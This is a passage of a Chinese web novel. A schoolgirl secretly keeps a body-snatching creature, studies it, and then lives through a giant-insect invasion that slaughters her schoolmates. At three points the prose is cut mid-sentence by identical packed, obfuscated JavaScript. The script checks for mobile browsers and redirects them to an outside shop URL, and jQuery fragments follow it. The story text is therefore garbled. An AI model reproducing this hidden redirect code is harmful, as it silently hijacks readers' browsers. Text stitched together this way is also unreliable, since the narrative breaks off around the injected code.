唐念坐在书桌前学习,翻阅着练习册,文字与数字在她面前扭曲成一条条黑色爬虫,交织缠绕在一起,有如恒定不变的秩序的悄然崩塌,她强迫自己定下神认真看起了书,一直学到将近凌晨才起身查看了一下之前饲养的白蚁。
白蚁很小,小到无法被寄生,所以侥幸逃过了搜查。
经过两个多月的生长发育,第一批卵一共250多颗都已顺利孵化,蚁巢里有了分工明确的工蚁和兵蚁,蚁后得以从繁重的孵化及育儿工作中解脱出来,专心于繁殖。唐念先前给它们换了更大的筑巢空间,现在蚁后的分娩速度变得更快了,她琢磨着等时机成熟以后可以找些蚂蚁放进去。
身为优质蛋白质,白蚁不仅是许多食虫鸟类的偏好,甚至也在蚂蚁的食谱上。常见的大头蚁很好找,她想知道面对外敌攻击,白蚁群会怎样构建防御系统。
真社会性昆虫的特别之处在于它们的高度社会化,无论是面对外敌攻击,还是面对内部的觅食和育儿,它们都有一套井然有序且效率最大化的制度。这正是让唐念着迷的地方,群居动物因其社会性,行为模式通常比独居动物更复杂,如同螺丝镶入精密的机器,拥有一套极富理科之美的运行机制。
她正观察着忙忙碌碌的白蚁,旁边的窗子忽然传来咚咚两声闷响,循声看去,蹲坐在窗子外敲窗的正是消失了大半天的橘猫。
“唐夏?”
她惊喜地扬了扬眉,走去开窗,把猫从窗子外抱进来。
“你躲去哪里了?是不是我爸让你出去了?”
唐念絮絮叨叨说着它无法回应的话,“最近这几天严查,你这身猫皮不能用了,风险太大,你从里面出来吧,我把猫拿去院子里埋了。吃的东西也得控制下,你先随我们吃,应该也就戒严这段时间,不可能从今往后一直都戒严,等这阵风波过去再给你找些新鲜食物。”
她一边说,它一边从猫嘴里钻出来,被她的手接住,然后顺势爬到了她左肩蜷着,看起来很疲倦。
唐念顶着肩膀上的唐夏去院子里埋猫。
给猫尸盖土的时候她想起了另一个问题。唐生民毕竟不知道唐夏的真身,虽然在她饲养奇怪生物这一点上她爸已经对她展现出了远超常人的包容,不过要是得知唐夏的真面目以及吃人习性,他一定会哇哇大叫着叫她丢掉。到时还得跟他掰扯,并且在他极端反对的情况下说服他照顾唐夏——尽管唐念有预感唐生民最终会被她说服,不过这个过程很是浪费她的精力。她想来想去,决定把唐夏一同带去上学算了,由她亲自看顾着总比较放心。
她当机立断做出了决定,唐生民则对此一无所知,在他眼里女儿已经与那只奇怪的橘猫断了关系,放弃饲养那些他搞不懂的生物,他们的生活又回归了正轨,这很好。
而另一边,带领唐夏上学的过程也还算顺利。
为了预防学生被怪物寄生,学校门口架设了体检点,对所有进出校门的学生进行检查。这种检查讲究快速便捷,不可能和先前的全面体检那样花上一个下午的时间慢吞吞检查学生的所有器脏和骨骼,因此实际上只是派了几个医护人员用手电筒快速检查出入学生的口腔。
寄生怪物不约而同地很喜欢在宿主的口腔或者喉道上开洞,可能是因为这个位置既不像头盖骨那么硬,又比较隐蔽,还方便它们的本体进行进食。
而正因只检查口腔,被唐念藏在书包里的唐夏每次都能安安全全被她带进学校,又被她从学校安安全全带回家。
碍于食物品质下降,它最近懒得很,被她藏进书包里也从不乱跑乱动,每天白天只乖乖待在书包夹层里睡觉,等傍晚回了家才会出来进食。唐念很庆幸它能够适应低氧生活——这点她当初把它囚禁在泡脚桶和保险柜里就发现了,唐夏并不需
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720633|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要很多氧气,它能在不通风的低氧环境下正常生存,从适应能力来说它的生命力实在比人类强多了。
高考前的这十几天便在戒严氛围下有惊无险地度过。
离高考仅剩三天时,学校给他们放了假,让他们回家好好休息和准备,成败在此一考。
放假前一天,班上的氛围尤其躁动,可能是察觉到真的要分开了,从此天各一方,班上不少学生匆匆忙忙开始收集青春最后这一阶段的纪念品。她看到有人在传同学录,有人索求拥抱与合照,也有人让全班同学在自己的校服上签名。
与惆怅的氛围格格不入,唐念什么都没有做。
她在班上没有朋友——甚至延伸得更远,她在学校也没有朋友。倒不是想交朋友却交不到,是她本身对交朋友这件事便缺乏兴趣,她社交欲望极低,并不需要一个朋友听她大吐苦水或者分享日常生活中的喜悦。
放学铃一响,唐念便打算回家了。
她收拾出桌肚下所有书,正打算应要求把这些书搬出教室,身后却传来一道轻唤:“唐念?”
非常陌生的声音。
她回过头,吃惊地看着站在自己身后的男生。他长得有点眼熟,眉清目秀,可惜唐念的好记忆只体现在她感兴趣的事物上,她能对《昆虫记》过目不忘,上课时候老师首次提及的公式她也能迅速理解并记忆,却唯独对人脸与人名缺乏敏感。
她思考未果,问:“你是?”
对方倒像是大吃一惊,还有些尴尬,捏紧了手里的明信片,支吾道:“我跟你同个社团的……文学社,你忘了吗?我叫林亦辰,之前的副社长。”
提起社团,她总算有了些印象。
高一入学时,因为觉得自己文科成绩烂透了,唐念曾经尝试挽救过,为此还特意加入了自己并不擅长的文学社。
这个社团是她整个高中唯一加入过的社团,高一高二时按部就班参加了所有社团活动,可惜文科成绩并没有如愿提升,后来升上高三,新上任的社长说高三生可以不参加社团活动,她就没再去过了。
见她的表情像是想起了什么,林亦辰舒了口气,把手里的明信片递给她,避开她的眼神,对她说:“你……高考加油。”
说完便径直转身离开了,来去匆匆。
等他的身影在教室后门消失不见,唐念才低头看了眼手里的明信片,它散发着桂花的香味,上面用正楷方方正正写满祝福的话,大意是祝她高考顺利、一飞冲天。
她没有多想,以为是社团干部在考前最后关头统一给高考生送的祝福,把明信片随意往书堆里一塞就要出去。
“完了,林亦辰要伤心了。”徐晓晴在旁边打趣似的笑了起来。
唐念一头雾水地朝她看去:“你认识他?伤心什么?”
“我们都是学生会的。”徐晓晴放下手,惊愕地说,“你还问我伤心什么……你看不出来啊?”
“看出来什么?”
“就是……”徐晓晴被她的迟钝噎了一下,支吾片刻,说,“他喜欢你啊。”
16.稗子
“不可能。”
唐念当即就否认了,先别论她都没跟他说过几句话,而且对方也只是送了她一张明信片而已。她不愿意把普通的同学关系往男女之情上联想,因为后者实在太麻烦了。
徐晓晴的表情很复杂,指了指被她随意塞进书堆里的明信片,说:“可是这张明信片的正面图案是一丛稗子。”
“那又怎么了?”
“稗子是余秀华的情诗《我爱你》里提到的意象,那首诗结尾是‘如果给你寄一本书,我不会寄给你诗歌,我要给你一本关于植物、关于庄稼的,告诉你稻子和稗子的区别,告诉你一棵稗子提心吊胆的春天’。”
“……”
唐念听完简直不知道该作何感想,她觉得可能是她加入文学社这个举动让林亦辰误以为她是一个富有文学修养的人,毕竟她在社团里装得挺像那么回事,但其实她连余秀华是谁都不知道,给她送这种东西无异于对牛弹琴。
这张明信片并没有因为其中寄寓着青春朦胧的少年心思而受到优待,唐念把它从书堆里抽出来塞进了自己的书包也只是碍于徐晓晴在一旁看着而已。
她把明信片带回了家,然后很快将这件事抛诸脑后,一手捧着自己整理出来的冲刺用的笔记背诵,一手拿着锅铲炒菜。
临近高考,为了避免自己吃坏肚子,唐念取缔了所有重油重盐的菜色,唐生民在餐桌上叫苦连天,被她冷冰冰说了句“爱吃不吃”才老实了。
“你什么时候高考,用不用我送你?”唐生民顾左右而言他地表演起稀薄的父爱。
唐念说就几百米路有什么好送的。
“好吧。”他瘪瘪嘴,忽然又说高考当天他要早起去给她买她爱吃的奶黄包。
晚饭结束,唐念把做饭前提前留下的份额端进卧室喂给唐夏。她拉开书包拉链,敲了敲夹层,唐夏从里面滑出来,高举两条触手,而触手中间正端端正正夹着林亦辰送给她的那张据说是告白的明信片。
“你拿这个干嘛。”唐念把它手里的明信片抽走,示意了一下放在旁边的食物。
但此时唐夏对明信片的兴趣似乎远胜食物,它伸长触手同她抢夺起明信片,接着整个身躯都覆盖到了明信片上,像在嗅闻什么一样。
唐念想起当时寄生温子默的那只怪物,那时她身上沾了怪物的信息素回家,唐夏也是这么嗅闻她的。她找出宠物按钮,蹲到唐夏面前问它:“这上面有你同类的信息素吗?”
她把“是”和“不是”都递了过去,本来没抱希望唐夏会回答,因为上次它就回避了这个问题。但也许是觉得她已经见过它的同类了,再隐瞒也没有意义,这次它选了“是”。
“是上次那只?”
“不是。”
“新的?”
“是。”
“它寄生在林亦辰身上?”
“不是。”
这答案叫唐念吃了一惊:“难道是他的家人被寄生了?”
唐夏没有回答,因为它也说不准。
唐念见它难得配合,想着多问点,于是叽里咕噜就把心里的问题全问了:“世界上是不是还有很多你们的同类?你们是外星来的吗?你们是人类实验室跑出来的实验品吗?你们是不是有组织有计划的?你们的目的是毁灭人类?”
唐夏的回答是放开明信片,摁了“吃饭”按钮,无视她后面那些夺命连环问,蠕动到一旁吃饭去了,独剩她坐在椅子上,左右翻阅着明信片,试图再找出些蛛丝马迹。
蛛丝马迹暂时没找出来,滴滴答答的秒钟游走声唤回了唐念的神思,她把明信片收进柜子里,决定高考后再操心这件事。
*
考前放假那三天,唐念除了学习就是学习,两耳不闻窗外事,以至于那几天听到唐生民抱怨信号不好还以为是他们家的个例,直到高考当天带着唐生民给她买的奶黄包前往学校,听到监考老师间的议论,才得知考试前一天下午两点,全球的通信瘫痪了一个小时。
天文学家推测最大的可能是太阳耀斑爆发导致地球周围的电磁波发生了大规模扰动,好在这场危机现已解除,并没有危及到即将到来的全球性高考。监考老师和应考的学生们把这个大自然造成的小意外当成无聊时的谈资随意聊聊也就过去了。
高考持续了两天,最后一科考完,唐念放下笔,收拾好自己的文具,穿过或欢呼或呐喊或哭泣的人群,淡定地步行回自己家,心里想的是今晚吃什么,以及考完试以后应该以什么理由向老师借实验道具。
现在她没有考试的负担压着了,可以尽情做自己想做的事,唯一需要操心的是上大学的学费以及日常开销,不过这也没有关系,她已经物色好了目标大学里的勤工俭学项目和助学贷款,往后的日子想必只会越来越好。
之前的实验由于实验器材外借时间有限,只进行了一部分,还有很多问题没能得到答案,譬如唐夏的视觉、听觉与思考是依靠什么实现的——这问题困扰她很久了。它有口器,这显而易见,它能发出的那些或高频或低频的啸鸣也仰赖于它喉部的发声部位,可关键是它的“眼睛”和“耳朵”在哪呢?“大脑”又在哪里?
唐念并没有在它身上看到类似眼睛和耳朵的部位,这很奇怪,因为即使是章鱼这种长得非常打破常规的生物,它也有一双在人类理解范畴内的眼睛,以及用于辨明声音的鱼耳室。至于大脑,她查阅了许多资料,猜测唐夏也许和章鱼一样,拥有与人类这种中央大脑迥异的分布式大脑,它的神经元很可能遍布全身,所有这些神经元支撑它实现复杂的神经调控,也即所谓的“思考”。
这些猜测毕竟只是猜测,都需要实验验证,唐念跃跃欲试,而她高考后的暑假也确实顺利过了头。先是找老师借实验道具的过程很顺利,因为她与老师对了高.考.答.案,发现考得极好,物化生加起来一共只错了两道题。老师一高兴,就说可以破格替她申请在暑假期间自由使用或外借实验室的器材。
她搬了一台精度更高的显微镜回家,又开始了隔三岔五切割唐夏的小游戏。
唐夏基本还算配合,也可能只是陷入了自暴自弃。唐念不知道它过得开不开心,反正她自己是挺开心的,要是信号不要隔三岔五出问题就更开心了。
高考前的那场太阳耀斑爆发还没彻底结束,考试结束后的某一天,全球通信又迎来了二次瘫痪,甚至三次瘫痪,且一次比一次持续的时间长。专家给出的解释是遇上了太阳耀斑的连续爆发。
唐念在网上看到了不同的见解,有一些天文爱好者揭露说太阳活动根本没有官方所说的那么频繁,地球的电磁场发生变化另有原因。
网络上充斥着各种说法,有人说是反叛军在秘密研制新的磁武器,有人说是宇宙射线导致的,也有人说是外星人发来的通讯干扰。然而不管是阴谋论还是科幻猜测,这些帖子存在的时间都很短,无一例外都被平台检索删除了。
唐念对此并没有特殊的感想,因为无论结果是什么,是太阳活动也好,是秘密武器也罢,甚至是外星人即将降临地球——身为芸芸众生中的一份子,她对此都无能为力,除了接受现实,能做的不过是安然过好眼前的每一天。
她对唐夏的研究陷入了僵局,随着实验推进,唐念越发觉得她只有唐夏这么一个样本实在太不严谨了,如果有可能,她想多捉几只怪物,可这又涉及到一个难题,并不是所有怪物都像唐夏这么友好。
刚好高考成绩也公布了,返校那天,唐念思来想去,决定去见见林亦辰。
之前唐夏闻到了他给的明信片上面的信息素,如果真的是他的家人被寄生了,那么跟他回家也许有概率遇到另一只怪物。她没抱希望一见面就能捕获对方,不过见面好歹能够明确目标。只有目标明确了,日后才有机会下手。
安全起见,她带上了唐夏。
上次它的同类造访时她侥幸逃过一劫,唐念觉得很大概率是因为唐夏通过某种她暂且无法领会的沟通方式——比如信息素的释放——告知它的同伴她是它的储备粮,所以她才没被那只怪物猎杀。基于此,这次返校去见林亦辰她依然带上了唐夏,让它和之前一样藏在自己的书包里。
老师讲解志愿填报的有关事项花费了一些时间,结束以后,唐念向徐晓晴打听了林亦辰的班级,背着书包来到了他班级门口。
林亦辰和他的朋友说说笑笑着从教室后门走了出来,看到她,愣了愣,转身让他朋友先走。
他朋友朝他挤眉弄眼做了个意味深长的表情,林亦辰和唐念都没理。
他带着她来到一个没什么人经过的拐角,手里捏着老师新发的志愿填报指导书
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734221|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,指腹无意识摩挲起书沿,有些拘谨地问她有什么事吗。
唐念认为自己应该委婉一些,可她天生学不会大段大段的铺垫,在脑海中演练半天,还是选择了最简单的单刀直入:“我可以去你家做客吗?”
林亦辰愣住了。
面前的女孩子看向他的眼睛澄澈清明,似乎自己说的是再正常不过的一件事,他语塞片刻,才小声询问:“……为什么突然要去我家呢?”
唐念想了想,发觉她很难找出一个合理的理由来解释这个突如其来的请求,她沉吟起来:“因为……我对你家很感兴趣?”
他手足无措地比划半天,结巴着问为什么会突然对他家感兴趣,这算告白吗?说完可能又惊觉自己措辞的不妥,赶紧摇头摆手跟她说对不起,他不是故意的。
唐念本来想说当然不是,但又担心否认以后对方不让她去他家了,于是严肃地点了点头,一本正经乱扯:“是的,其实我喜欢你很久了。”
“啊?”
这次他宕机更久,表情也一片空白。
唐夏在书包里感慨人类果然还是太乱来了,一个对另一个发出滥.交请求,一个竟然还欣然应允并给予回应。
它对这个行为没有任何道德上的谴责,因为它的族群不存在道德观念,不过它从电视上了解到人类的生理构造极其脆弱,滥.交容易传染疾病。从健康角度来说这个行为简直毫无益处,只会拖延种群的发展,它不理解唐念为什么要接受对方的滥.交邀请。
接下来还有它更不能理解的事,因为唐念居然被拒绝了。
对方说:“谢谢你的喜欢,但是……抱歉,真的很抱歉。”
唐夏百思不得其解。它记得她那位叫徐晓晴的同桌明明说过这个人类男性喜欢她。
同样百思不得其解的还有另一个人,唐念惊讶道:“为什么?”
难道徐晓晴是骗她的么?
林亦辰脸都红了,咬着嘴唇支吾半天,才盯着自己的鞋尖,语无伦次道:“因为……就是……那天我拿明信片给你的时候,你甚至忘了我是谁,现在又说喜欢我很久了,我的意思是……我、我不太确定你是不是在玩真心话大冒险,如果你真的喜欢我,我会很开心,但是现在这样……对不起……我觉得可能我们还是没有什么缘分吧。”
他说完就匆匆忙忙转身离开了,留下唐念在原地发怔。
一直发楞到唐夏在书包里隔着书包布料戳了戳她,她才背着书包往楼下走。
这种感觉很微妙,由于长得好,即使她一直独来独往,从小到大也不缺男生告白,但向来只有她拒绝别人的份,这是她第一次遭人拒绝,而且对方拒绝她的理由不是不喜欢她,而是觉得她不够真心。
……好吧,她确实毫无真心可言。
唐念沮丧地想下次再遇到这种情况她一定得提前组织好措辞,早知道就不说“我喜欢你很久”了,改成“我这几天突然喜欢上了你”多好。
这边她正毫无愧疚之心地反省着自己,那边唐夏还在书包里不遗余力地戳她。她压低声音,不耐烦地问它发什么神经:“安静!待会儿被人看到了。”
然而唐夏没有安静,唐念惊愕地发现它在书包里动得更疯狂了,触手迅速延长,整个书包都被它的触手撑得膨胀变形,如同光滑的皮肤上突然长出几颗毒瘤。她不得不把书包换到身前抱着,用手臂的力量压制它。
唐夏平时来学校都很乖,这是它第一次在公众场合下这么失控,唐念还没来得及问它怎么了,忽然就听到了校门口的学生此起彼伏的尖叫。
与尖叫声同时响起的是一阵奇异的嗡鸣,自遥远的天际传来,声音类似亿万只蜜蜂同时震翅,嗡嗡嗡嗡,从微弱到嘹亮,短短瞬息间便达到了惊人的响度,震得她的耳膜撕裂般疼,连脚下的大地都在跟着颤动。
唐念捂住刺疼的耳朵抬起头。
映入她眼帘的是完全形变的天空,如同墨渍在碧蓝的池水中蔓延开,无数黑点连成矩阵,铺天盖地笼罩下来。阳光急剧褪去,目力所及之处尽是黑云压城般的黑暗。
狂风呼啸着席卷大地,吹得她的长发连同衣摆都猎猎作响。
唐念努力拂开了面前的乱发,很快她就看清了那些黑点的样貌——
那是无数长有翅膀的巨型飞虫。
17.游乐场
飞虫通体漆黑,远看犹如镶在向日葵里的瓜子,随着它们越飞越近,唐念看清它们的外形就像多种昆虫的杂糅,既有类似独角仙的角突,也有兵蚁般巨大如钳的上颚,甚至还有螳螂那样形似死神镰刀的捕捉足。总体来说,它们的长相更近独角仙那样的鞘翅目,只是身形更加修长。翅膀共两对,身为后翅的膜翅担任飞行核心动力,其上覆盖有完全骨化的鞘翅用以自身防卫。
乌泱泱的飞虫如同乌云过境,直到第一只虫子降临在操场的塑胶跑道上,它真实的大小才得以彰显。算上头前角突,这只巨型昆虫看来最起码有五米长,高度超过两米,堪比一辆小型坦克。
它折叠起膜翅,鞘翅降下来,将透明的膜翅笼罩其下,头部随着空气气流轻微摆动,像在感受什么。
一个学生原本站在它降落的位置,被它吓得腿一软摔趴在原地,匍匐于它足下一动都不敢动。
唐念遥遥望去,惊愕地发现这只虫子竟然没有“眼睛”,本该长有两只大眼睛的位置空空如也。
不。
也许它不是没有眼睛,而是没有人类认知里的眼睛。
这只虫子黑得非常哑光,坚硬的身躯上覆盖有一层膜,夕阳余晖倾泻而下,将那层膜镀得流光溢彩,也映照出膜上细密的六边形蜂窝结构。这个结构让唐念联想到了昆虫的复眼。
与人类的眼睛不同,复眼由无数小眼构成,每个小眼都包含独立感光结构,眼面呈六边形,状如蜂窝,所有这些小眼集成为一双精密的复眼,让昆虫得以拥有将近360°的全知视角和超强的动态视力。眼前这只巨型昆虫的“眼睛”比拥有复眼的地球昆虫更胜一筹,因为它的六边形感光结构几乎覆盖了全身。
换言之——
它很有可能全身都是眼睛。
意识到这个事实让唐念毛骨悚然,她还来不及做点什么,就听到有人撕心裂肺朝那个学生的方向大喊:“快跑啊!那只虫子看不到你!快跑!!”
在它落地那一瞬间便吓得瘫软在地的学生此刻终于反应过来,石化般的躯体僵直地朝后蠕了蠕,手掌撑在粗粝的塑胶跑道上,转身蹬踹着脚下的跑道,试图驱动双腿逃开。
整个过程他都没有发出任何叫声,只是一直张大口腔——直到亲眼目睹,唐念才明白人在极端惊恐的情况下会失去发声功能。
就在他好不容易站起来的时候,巨虫动了动头颅。
它前额的角突不是独角仙那种双分叉结构,而是尖锐的,形如一把开刃的钢刀。刀片边缘随着它的转动轻轻划过那个男学生的后腰,然后下一秒他就断成了两截,就像一块柔软的豆腐被刀片轻而易举片开,过程顺利到仿佛人的身体里并不存在坚硬骨骼。
被腰斩的学生仍保留着逃跑时的惊惶神情,身体坠落到地上时,他甚至还惊恐地眨了眨眼睛。直到不知哪条动脉里的鲜血从断口处喷溅而出,高高挥洒向天空,下起一场淋漓血雨,操场上吓呆的其他人才爆发出后知后觉的惨叫。
犹如炙热火星溅入蚁群,所有人仓皇地四散逃窜,中央惨遭屠戮那块区域很快摩西分海般空出条道路。
虫群仍在降临,种子一样播撒向无垠的大地。很快顶楼、街道、操场……目力所及之处都挤满了它们的身影。
不绝于耳的振翅声与此起彼伏的凄厉惨叫谱成背景乐般的二重唱,正是放学时间,高一高二的学生还在朝外涌,高三学生接受完老师的志愿填报指导,也正呼朋引伴走出校门,教学楼前的整片区域连带左侧的操场就像虫群的游乐场。
被擒住双臂肆意撕扯的保安是血腥的旋转木马,尖叫着从顶楼一跃而下的学生是残酷的跳楼机。
断肢满地,血泥横飞。
唐念缓缓看向周围,眼前的世界扭曲成了光怪陆离的万花筒,鲜血的红、夕阳的橙、碎块的粉、巨虫的黑、天空的蓝……所有颜色交织缠绕,被四十六亿年来始终无情无爱旁观星辰变迁的太阳映照出绚烂的白。
白惨惨的世界里,她亲眼目睹离她四五米远的地方,一只巨虫正背对着她,用口器细细切割某个老师的肠道。
等意识回拢,她才发觉自己已经自发跑起来了,胳膊死死抱住怀里的书包,头脑空茫茫地奔跑,对逃跑路径的选择全依赖于原始的肌肉记忆。
跑出校门,跑上街道。
跑,跑,跑!
周围一切都在她余光里倒退,不管是尚未明晰状况的路人、发觉不对前往支援的纠察员、还是时不时在她视线范围内掠过的虫子,全都被她和耳畔的风抛甩在身后。
她不知道自己能跑去哪里,也不知道藏在哪个地方可以避开这些虫子的攻击,她只是循着本能跑向了家的方向,就像小孩摔倒总是第一时间去找妈妈一样。
跑进城中村,穿梭于拥挤的巷道,就在熟悉的街景勉强带给她一点点安全感时,前方拐角处忽然传来了振翅的声响。
嗡嗡嗡嗡。
唐念猛然停下脚步。
她什么都看不清,墙壁阻隔了她的视线。
但她听到了。
她听到拐角那头女人和小孩的哭喊,他们的哭声没能持续太久便逐渐式微,取而代之的是巨虫咀嚼新鲜骨肉的动静,低哑而含混,清脆又雄厚,像很久之前她在网络上偶然刷到的棕熊生吃人类的猎奇音频。
她费了很大的力气才从恐惧手中夺回对身体的控制权,以生平最轻盈的步伐朝后退,试图在巨虫发现她之前倒退回安全的地带。
可巨虫对声音的感知比她预想的还要敏锐。唐念想起它们胸.部那三对足,除了用以充当捕捉足的前足,剩下那两对足贴于地面之处长满了绒毛,也许正是这个结构让它们能够感知到地面传来的微弱震动。
在她堪堪倒退出一两米之后,拐角处探出角突制成的长矛,下一瞬,虫遍布全身的“眼睛”凭空出现,离她不过咫尺,数不清的蜂窝结构在黑色哑光膜下毫无情绪地凝睇住她。
唐念倒吸了一口气,双脚像被长矛钉死在原地,僵硬且动弹不得。
她在那一瞬间被一股无形的力量剥夺了所有多余的感官,只有视觉前所未有地明晰。
——跨越了光年与种族,两个截然不同的物种在这座边陲小城破败的巷道对视。
唐念屏息凝神注视着它。
那些蜂窝排列的迷你感光单位就像一个个微型黑洞,阳光被强劲的引力拖拽进来,以黑洞为中心,旋转碰撞出无数新生的宇宙,每个独立的宇宙都流转着光辉与星云。色彩与漆黑交织,丰饶同虚无并生。
她在其中看到了一切,看到时间的切片,看到古老的昨天跨越于未知的明天。
唐念逐渐分不清自己骨骼透出来的战栗究竟源于灵魂深处的折服还是浓厚的恐惧,也许二者兼而有之。怀里的书包被她无意识勒得死紧,这个举动没什么实质意义,只是一种非条件反射,就像人落水以后明知浮于水面的稻草承载不住自身重量,也还是会徒劳抓住稻草一样,危机激发了人类婴幼儿时期的抓握本能。
巨虫一动不动凝视着她,过了半分钟,它朝她低下巨大的头颅,尚且残留鲜血余热的上颚缓慢朝她靠近并张开。
这个举动终于让唐念从游离状态中回过神。说得难听点她简直要吓尿了,她毫不怀疑这时候自己若是敢动,它会以惊人的速度钳断她的脖子,把她的脊椎像吸食猪筒骨骨髓那样吸出来。为了避免刺激到对方,她只能僵着脖颈与身体立正挨打,祈祷它的静态视力不如动态视力优越。
就在她胡思乱想而且以为自己这回必死无疑的时候,她看到了巨虫潜藏于上颚之下的口器。
尖利的獠牙在口腔内排成一圈又一圈,随着口器张合,一阵奇异的音频从巨虫身体深处释出。虽然外貌与唐夏迥异,然而无论是口器的形状还是某些行为模式,眼前这只古怪的生物都跟唐夏太像了,像到唐念汗毛倒竖的同时又恍然大悟。
她感受着书包内唐夏细微的搏动,知道自己这回大概不用死了。
果不其然,巨虫用上颚的毛刺碰了碰她的书包,口器里震出她听不懂的频段,随后它便朝后退开,以与它粗笨体型不符的静谧与灵巧缓缓地消失于拐角。
一直到目送它振翅飞去,唐念才寻回呼吸的能力。
书包里唐夏还在不安分地动来动去,她颤着手拉开拉链,将它放了出来。
唐夏跳向地面,很快消失在她的视野里。她就近靠在长满青苔的墙上,知道自己现在最好先走回家,可是腿软得根本动不了,整个人就像一块煮熟的茄子,软烂如泥,头也晕得不像话。
“……唐念。”一个小男孩青涩稚嫩的声音从拐角那头传来,“我可以吃了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741488|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们吗?”
这时候突然响起人声是一件非常惊悚的事,但唐念觉得自己是被吓过头导致惊吓的阈值提高了,她竟没什么波澜,只是强撑起身体,朝拐角那头声音的来源瞥了一眼。
那是一对母子。
她认识他们,因为几个月前这个小男孩还试图用好吃的猫罐头吸引名为煤球的狸花猫回家。此刻这位母亲几乎已经没了全尸,于是唐夏寄生在了男孩身上——虽然男孩本人也没有好到哪里去。
他脑壳后的头盖骨被生生削掉了一截,里面的脑液正往外渗漏。唐夏就寄生在他脑袋这个缺口里,乳白的身躯填补进去,乍一看就像他的大脑。
“我可以吃了他们吗?”它又问。
由于寄生的是小孩,声音自带一股悚然的纯真。
她没说可不可以,只是皱眉道:“刚才那些虫子是你和你那些同伴引来的?”
唐夏回头了,漆黑的眼珠看着她,嘴唇翕动,声线平稳:“不是。”
“可是刚才那只虫子认识你,它是因为你才没有对我下杀手的。”
它组织着语言,不太熟练地向她解释:“因为……我们同属一个族群,同胞之间不会互相残杀。但是唐念,它不是我召唤来的,我没有召唤它的本领,只有王才有,我们听命于王。”
唐念纳闷地看着它。
听唐夏的意思,它和这些巨虫大约类似于人类世界中的军人,区别只是属于不同兵种。军人彼此之间没有互相指挥对方的权力与能力,它们都只是听命于军官,而军官的角色就是它口中的王。
她现在对它们的职能划分没有太大兴趣,更关心的是另外的问题:“接下来还有多少你的同胞会降临?”
唐夏顿了顿,如实告知:
“很多。”
“唐念,很多。”
“这只是先头部队。”
“我之前问你什么你都不说,为什么现在又肯跟我说实话了?”
问出这个问题是因为对它的话抱有质疑,唐念无法判断唐夏有没有在对她撒谎。
它垂下眼眸,声音轻轻的,似一声叹息:“因为现在,就算告诉你,你也已经阻止不了了……所以可以告诉你。”
它重新抬起眼帘。由于不怎么喜欢操纵人类眨眼睛,此刻看向她的这双人类眼睛显得远比生前幽深和空洞。它用同样缺乏情绪起伏的声音告诉它:“王决定降临,所以我们必然降临。唐念,你阻止不了,你的族人也阻止不了。”
说这些话的时候,它一直在观察唐念的神情,按照逻辑推断以及它对人类行为的观察和总结,它认为唐念听完后会给它一巴掌——人类似乎倾向于使用巴掌宣泄被隐瞒的愤怒和失望。然后她可能还会猛踹这具人类身体的裆.部,因为它寄生的是人类男性,而人类女性对异性的背叛有着一套特定的性别行为,踹.裆就是其中之一。
它不太希望她扇脸,因为它寄生在头部,扇脸会波及到它。踹.裆倒是无所谓,她想怎么踹就怎么踹吧。不过如果她真的执意要扇它巴掌,它可能也会忍气吞声地接受,毕竟这些日子以来,她不仅喂了它很多吃的,还不怎么怕它。她以一种较为和平的方式让它了解到了人类,它愿意对她宽容一点。
然而唐夏猜测的这些都没有发生。
它听到唐念说:“不能吃。”
唐夏思索了一会儿才反应过来她是在回答它刚才问的那句“我可以吃了他们吗”。
接着她抓起它的手腕,说:“我大概了解情况了,跟我走。”
“走去哪?”它好奇地问,猜测唐念是不是要把它送去纠察员那儿。
谁知她说:“去哪?回家啊。”
“回家?”它大吃一惊,“可是、可是我不能跟你回家了,我的族群正在降临……”
唐念停下脚步,回身看着它:“你的族群正在降临跟你有什么关系?”
它被她问懵了。
怎么会没有关系呢?它也是族群的一员,当然有关系了,而且很有关系。但唐念的口吻那么理直气壮,所以唐夏也忍不住重新思考起来。
它还没想出所以然,唐念就拉着它继续往家的方向走了,甚至还提醒它:“你进屋的时候别让我爸看到你后脑勺,等进屋以后我再给你找顶帽子盖住。”
“哦,好。”它下意识回答。
18.眼睛
依照这些日子以来的相处经验,唐夏理所当然地以为唐生民这时候会在家里六神无主——死掉应该不至于,唐念家里有它留下来的信息素。没想到门一开,家里不仅没有任何恐慌气息,还飘扬着一段与外头屠杀场景格格不入的DJ串烧。
它正惊讶唐生民心理素质的强大,下一刻就见唐念径直走过去,推开了唐生民虚掩的房门。
